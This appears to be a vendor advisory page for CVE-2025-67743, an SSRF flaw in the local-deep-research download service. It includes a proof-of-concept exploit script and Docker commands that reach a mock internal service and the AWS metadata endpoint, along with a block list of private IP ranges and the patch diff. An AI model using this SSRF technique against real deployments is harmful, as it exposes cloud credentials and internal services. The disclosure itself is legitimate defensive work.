CVE-2025-67743 is a medium-severity (CVSS 6.3) Server-Side Request Forgery (SSRF) vulnerability in local-deep-research. A fix is available for local-deep-research — see the affected versions and patch details below.
Local Deep Research is Vulnerable to Server-Side Request Forgery (SSRF) in Download Service
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-67743.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2025-67743 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
local-deep-researchReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application's SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls.
CWE: CWE-918 (Server-Side Request Forgery)
Details
Vulnerable Code Location
File: src/local_deep_research/research_library/services/download_service.py
The application has proper SSRF protection implemented in security/safe_requests.py and security/ssrf_validator.py, which blocks:
- Loopback addresses (127.0.0.0/8)
- Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
- AWS metadata endpoint (169.254.169.254)
- Link-local addresses
However, download_service.py bypasses this protection by using raw requests.get() directly:
# Line 1038 - _download_generic method
response = requests.get(url, headers=headers, timeout=30)
# Line 1075
response = requests.get(api_url, timeout=10)
# Line 1100
pdf_response = requests.get(pdf_url, headers=headers, timeout=30)
# Line 1144
response = requests.get(europe_url, headers=headers, timeout=30)
# Line 1187
api_response = requests.get(elink_url, params=params, timeout=10)
# Line 1207
summary_response = requests.get(esummary_url, ...)
# Line 1236
response = requests.get(europe_url, headers=headers, timeout=30)
# Line 1276
response = requests.get(url, headers=headers, timeout=10)
# Line 1298
response = requests.get(europe_url, headers=headers, timeout=30)
Attack Vector
- Attacker submits a malicious URL via
POST /api/resources/<research_id> - URL is stored in database without SSRF validation (
resource_service.py:add_resource()) - Download is triggered via
/library/api/download/<resource_id> download_service.pyfetches the URL using rawrequests.get(), bypassing SSRF protection
PoC
Prerequisites
- Docker and Docker Compose installed
- Python 3.11+
Step 1: Create the Mock Internal Service
File: internal_service.py
#!/usr/bin/env python3
"""Mock internal service that simulates a sensitive internal endpoint."""
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
class InternalServiceHandler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
print(f"[INTERNAL SERVICE] {args[0]}")
def do_GET(self):
print(f"\n{'='*60}")
print(f"[!] SSRF DETECTED - Internal service accessed!")
print(f"[!] Path: {self.path}")
print(f"{'='*60}\n")
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
secret_data = {
"status": "SSRF_SUCCESSFUL",
"message": "You have accessed internal service via SSRF!",
"internal_secrets": {
"database_password": "super_secret_db_pass_123",
"api_key": "sk-internal-api-key-xxxxx",
"admin_token": "admin_bearer_token_yyyyy"
}
}
self.wfile.write(json.dumps(secret_data, indent=2).encode())
if __name__ == "__main__":
print("[*] Starting mock internal service on port 8080")
server = HTTPServer(("0.0.0.0", 8080), InternalServiceHandler)
server.serve_forever()
Step 2: Create the Exploit Script
File: exploit.py
#!/usr/bin/env python3
"""SSRF Vulnerability Active PoC"""
import sys
import requests
sys.path.insert(0, '/app/src')
def main():
print("=" * 70)
print("SSRF Vulnerability PoC - Active Exploitation")
print("=" * 70)
internal_url = "http://ssrf-internal-service:8080/secret-data"
aws_metadata_url = "http://169.254.169.254/latest/meta-data/"
headers = {"User-Agent": "Mozilla/5.0"}
# EXPLOIT 1: Access internal service
print("\n[EXPLOIT 1] Accessing internal service via SSRF")
print(f" Target: {internal_url}")
try:
# Same pattern as download_service.py line 1038
response = requests.get(internal_url, headers=headers, timeout=30)
print(f" [!] SSRF SUCCESSFUL! Status: {response.status_code}")
print(f" [!] Retrieved secrets:")
for line in response.text.split('\n')[:15]:
print(f" {line}")
except Exception as e:
print(f" [-] Failed: {e}")
return 1
# EXPLOIT 2: AWS metadata bypass
print("\n[EXPLOIT 2] AWS Metadata endpoint bypass")
from local_deep_research.security.ssrf_validator import validate_url
print(f" SSRF validator: {'ALLOWED' if validate_url(aws_metadata_url) else 'BLOCKED'}")
print(f" But download_service.py BYPASSES the validator!")
try:
requests.get(aws_metadata_url, timeout=5)
except requests.exceptions.ConnectionError:
print(f" Request sent without SSRF validation!")
print("\n" + "=" * 70)
print("SSRF VULNERABILITY CONFIRMED")
print("=" * 70)
return 0
if __name__ == "__main__":
sys.exit(main())
Step 3: Run the PoC
# Build and run with Docker
docker network create ssrf-poc-net
docker run -d --name ssrf-internal-service --network ssrf-poc-net python:3.11-slim sh -c "pip install -q && python internal_service.py"
docker run --rm --network ssrf-poc-net -v ./src:/app/src ssrf-vulnerable-app python exploit.py
Expected Output
======================================================================
SSRF Vulnerability PoC - Active Exploitation
======================================================================
[EXPLOIT 1] Accessing internal service via SSRF
Target: http://ssrf-internal-service:8080/secret-data
[!] SSRF SUCCESSFUL! Status: 200
[!] Retrieved secrets:
{
"status": "SSRF_SUCCESSFUL",
"message": "You have accessed internal service via SSRF!",
"internal_secrets": {
"database_password": "super_secret_db_pass_123",
"api_key": "sk-internal-api-key-xxxxx",
"admin_token": "admin_bearer_token_yyyyy"
}
}
[EXPLOIT 2] AWS Metadata endpoint bypass
SSRF validator: BLOCKED
But download_service.py BYPASSES the validator!
Request sent without SSRF validation!
======================================================================
SSRF VULNERABILITY CONFIRMED
======================================================================
Impact
Who is affected?
All users running local-deep-research in:
- Cloud environments (AWS, GCP, Azure) - attackers can steal cloud credentials via metadata endpoints
- Corporate networks - attackers can access internal services and databases
- Any deployment - attackers can scan internal networks
What can an attacker do?
| Attack | Impact |
|---|---|
| Access cloud metadata | Potentially access IAM credentials, API keys, or instance identity in certain cloud configurations |
| Internal service access | Read sensitive data from databases, Redis, admin panels |
| Network reconnaissance | Map internal network topology and services |
| Bypass firewalls | Access services not exposed to the internet |
Recommended Fix
Replace all requests.get() calls in download_service.py with safe_get() from security/safe_requests.py:
# download_service.py
+ from ...security.safe_requests import safe_get
def _download_generic(self, url, ...):
- response = requests.get(url, headers=headers, timeout=30)
+ response = safe_get(url, headers=headers, timeout=30)
The safe_get() function already validates URLs against SSRF attacks before making requests.
Files to update:
src/local_deep_research/research_library/services/download_service.py(9 occurrences)src/local_deep_research/research_library/downloaders/base.py(usesrequests.Session)
References
- CWE-918: Server-Side Request Forgery (SSRF)
- OWASP SSRF Prevention Cheat Sheet
- AWS SSRF Attacks and IMDSv2
- PortSwigger: SSRF
Thank you for your work on this project! I'm happy to provide any additional information or help with testing the fix.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | local-deep-research | ≥ 1.3.0&&< 1.3.9 | 1.3.9pip install --upgrade 'local-deep-research==1.3.9' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for local-deep-research, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update local-deep-research to 1.3.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-67743 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-67743 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-67743. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-67743 in your dependencies?
O3 Security finds CVE-2025-67743 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.